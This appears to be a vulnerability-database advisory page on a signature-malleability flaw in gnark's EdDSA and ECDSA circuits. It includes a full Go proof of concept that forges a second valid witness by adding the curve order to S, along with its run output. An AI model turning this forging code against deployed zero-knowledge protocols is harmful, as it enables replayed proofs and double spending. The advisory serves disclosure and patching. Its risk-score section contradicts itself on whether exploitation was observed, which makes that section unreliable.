Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-95v9-hv42-pwrj

CriticalCVSS 9.1 / 10
Published Aug 22, 2025·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

package main

import (
	"crypto/rand"
	"fmt"
	"math/big"

	"github.com/consensys/gnark-crypto/ecc"
	mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
	eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

	"github.com/consensys/gnark/backend/groth16"
	"github.com/consensys/gnark/frontend"
	"github.com/consensys/gnark/frontend/cs/r1cs"
	"github.com/consensys/gnark/std/algebra/native/twistededwards"
	stdMimc "github.com/consensys/gnark/std/hash/mimc"
	stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

	te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)

// Circuit
type eddsaCircuit struct {
	Msg frontend.Variable  `gnark:",public"`
	Pk  stdEddsa.PublicKey `gnark:",public"`
	Sig stdEddsa.Signature
}

func (c *eddsaCircuit) Define(api frontend.API) error {
	curve, _ := twistededwards.NewEdCurve(api, te.BN254)
	hasher, _ := stdMimc.NewMiMC(api)
	stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
	return nil
}

func groupOrder() *big.Int {
	// BN254 scalar field order (r)
	const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
	n, _ := new(big.Int).SetString(rStr, 10)
	return n
}

// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
	order := groupOrder()

	var forged eddsaCrypto.Signature
	forged.R = sig.R

	s := new(big.Int).SetBytes(sig.S[:])
	s.Add(s, order)

	buf := make([]byte, 32)
	copy(buf[32-len(s.Bytes()):], s.Bytes())
	copy(forged.S[:], buf)
	return forged
}

func main() {
	// Generate key pair
	priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
	pub := priv.PublicKey
	msg := []byte("multi-witness")

	// Create honest signature
	h := mimcHash.NewMiMC()
	h.Write(msg)
	rawSig, _ := priv.Sign(msg, h)

	var honest eddsaCrypto.Signature
	honest.SetBytes(rawSig)
	forged := forge(honest) // S + order

	// Setup: Compile circuit and do trusted setup
	circuit := &eddsaCircuit{}
	ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
	if err != nil {
		fmt.Printf("Circuit compilation failed: %v\n", err)
		return
	}

	pk, vk, err := groth16.Setup(ccs)
	if err != nil {
		fmt.Printf("Trusted setup failed: %v\n", err)
		return
	}

	// Public inputs (same for both witnesses)
	var public eddsaCircuit
	public.Msg = new(big.Int).SetBytes(msg)
	public.Pk.Assign(te.BN254, pub.Bytes())

	// witness 1: honest signature
	w1 := public
	w1.Sig.Assign(te.BN254, honest.Bytes())

	witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness1: %v\n", err)
		return
	}

	proof1, err := groth16.Prove(ccs, pk, witness1)
	if err != nil {
		fmt.Println("Witness 1 (honest): Prover failed!")
	} else {
		publicWitness1, err := witness1.Public()
		if err != nil {
			fmt.Println("Witness 1 (honest): Prover failed!")
		} else {
			err = groth16.Verify(proof1, vk, publicWitness1)
			if err != nil {
				fmt.Println("Witness 1 (honest): Prover failed!")
			} else {
				fmt.Println("Witness 1 (honest): Prover succeeded!")
			}
		}
	}

	// witness 2: forged signature
	w2 := public
	w2.Sig.Assign(te.BN254, forged.Bytes())
	fmt.Println(honest.R.Equal(&forged.R))
	fmt.Println(honest.S != forged.S)

	witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness2: %v\n", err)
		return
	}

	proof2, err := groth16.Prove(ccs, pk, witness2)
	if err != nil {
		fmt.Println("Witness 2 (forged): Prover failed!")
	} else {
		publicWitness2, err := witness2.Public()
		if err != nil {
			fmt.Println("Witness 2 (forged): Prover failed!")
		} else {
			err = groth16.Verify(proof2, vk, publicWitness2)
			if err != nil {
				fmt.Println("Witness 2 (forged): Prover failed!")
			} else {
				fmt.Println("Witness 2 (forged): Prover succeeded!")
			}
		}
	}
}

Result

go run multiple_witnesses.go

13:47:33 INF compiling circuit
13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3
13:47:33 INF building constraint builder nbConstraints=7003
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583
Witness 1 (honest): Prover succeeded!
true
true
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833
Witness 2 (forged): Prover succeeded!

Credits

XlabAI Team of Tencent Xuanwu Lab

Atuin Automated Vulnerability Discovery Engine

SJTU Group of Software Security In Progress

Prof. Yu Yu's Lab at SJTU

Additional mitigation

The initial patch added check for s <= curve order, omitting the case s == curve order. Even though the case is unlikely to be exploitable (requires finding a preimage for H(R || A || M)), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.

Risk Scores
Base Score
9.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.3

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.21%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard